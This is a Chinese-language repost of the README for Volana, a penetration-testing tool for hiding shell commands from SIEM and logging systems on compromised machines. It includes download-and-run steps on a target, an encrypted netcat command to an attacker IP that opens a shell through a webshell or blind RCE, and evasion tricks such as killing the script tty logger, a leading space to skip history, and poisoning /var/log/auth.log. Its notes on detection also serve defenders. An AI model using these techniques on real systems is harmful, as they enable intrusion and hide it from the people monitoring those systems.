Volana - Shell 命令混淆以避开检测系统

Volana - Shell 命令混淆以避开检测系统

Volana  Shell 命令混淆以避开检测系统-1.png








Shell 命令混淆以避开 SIEM/检测系统​

在渗透测试过程中,一个重要的方面是隐蔽。因此,你应该在通过后清除你的踪迹。然而,许多基础设施会记录命令并实时将其发送到SIEM,

volana这使得事后清理部分本身毫无用处。通过提供自己的 shell 运行时(输入你的命令,volana 会为你执行),提供一种隐藏在受感染机器上执行的命令的简单方法。这样,你就可以在通过过程中清除你的踪迹


用法​

您需要获取一个交互式 shell。(找到一种方法来生成它,您是黑客,这是您的工作!否则)。然后在目标机器上下载并启动它。就是这样,现在您可以输入要秘密执行的命令

## Download it from github release<br>## If you do not have internet access from compromised machine, find another way<br>curl -lO -L <a href="https://github.com/ariary/volana/releases/latest/download/volana" rel="nofollow"><span>https</span><span>://</span><span>github</span><span>.</span><span>com</span><span>/</span><span>ariary</span><span>/</span><span>volana</span><span>/</span><span>releases</span><span>/</span><span>latest</span><span>/</span><span>download</span><span>/</span><span>volana</span></a><br><br>## Execute it<br>./volana<br><br>## You are now under the radar<br>volana » echo "Hi SIEM team! Do you find me?" &gt; /dev/null 2&gt;&amp;1 #you are allowed to be a bit cocky<br>volana » [command]<br>
volana 控制台的关键字:* ring:启用环形模式,即每个命令都与大量其他命令一起启动以掩盖踪迹(来自监控系统调用的解决方案)* exit:退出 volana 控制台

来自非交互式 shell​

假设您有一个非交互式 shell(webshell 或盲目 rce),您可以使用<a href="https://www.kitploit.com/search/label/Encrypt" target="_blank" title="encrypt">encrypt</a>和decrypt子命令。以前,您需要使用volana嵌入式加密离子密钥。

在攻击者的机器上

## Build volana with encryption key<br>make build.volana-with-encryption<br><br>## Transfer it on TARGET (the unique detectable command)<br>## [...]<br><br>## Encrypt the command you want to stealthy execute<br>## (Here a nc bindshell to obtain a interactive shell)<br>volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"<br>&gt;&gt;&gt; ENCRYPTED COMMAND<br>
复制加密的命令,并在目标机器上使用 rce 执行它

./volana decr [encrypted_command]<br>## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)<br><br>
echo [command] | base64为什么不直接用 隐藏命令?然后echo [encoded_command] | base64 -d | bash

因为我们希望受到保护,免受触发base64使用警报或在命令中寻找 base64 文本的系统的影响。我们还想让调查变得困难,而 base64 并不是真正的阻碍。

检测​

请记住,这volana不是让你完全隐形的奇迹。它的目的是让入侵检测和调查变得更加困难。

检测的意思是,如果某个命令被执行,我们是否能够触发警报。

隐藏​

volana只会捕获启动命令行。🧠但是,通过在执行之前添加空格,默认的 bash 行为是不保存它

  • 基于历史命令输出的检测系统
  • 基于历史文件的检测系统
  • .bash_history, “.zsh_history” 等等..
  • 基于 bash 调试陷阱的检测系统
  • 基于 sudo 内置日志系统的检测系统
  • 检测系统跟踪系统范围内所有进程的系统调用(例如opensnoop)
  • 终端(tty)记录器(script、、、、等等)screen -Lsexonthebashovh-ttyrec
  • 易于检测和避免:pkill -9 script
  • 并非常见情况
  • screen有点难以避免,但是它没有记录输入(秘密输入:stty -echo=> 避免)
  • 可以volana通过加密来避免命令检测

可见于​

  • 对未知命令发出警报的检测系统 (volana one)
  • 基于键盘记录器的检测系统
  • 容易避免:复制/粘贴命令
  • 并非常见情况
  • 基于 syslog 文件的检测系统(例如/var/log/auth.log)
  • 仅适用于sudo或su命令
  • syslog 文件可能会被修改,从而按照你的意愿被毒害(例如/var/log/auth.log : logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
  • 基于 syscall 的检测系统(例如 auditd、LKML/eBPF)
  • 难以分析,通过多次转移系统调用可能会变得不可读
  • 自定义LD_PRELOAD注入来制作日志
  • 这不是常见的情况

漏洞赏金​

抱歉,标题太吸引人了,但我们不会为贡献者提供任何报酬。🐛

如果您发现以下情况请告诉我: * 一种检测方法volana* 一种监视不检测volana命令的控制台的方法 * 一种避免检测系统的方法

在此报告

信用​


下载 Volana
 
后退
顶部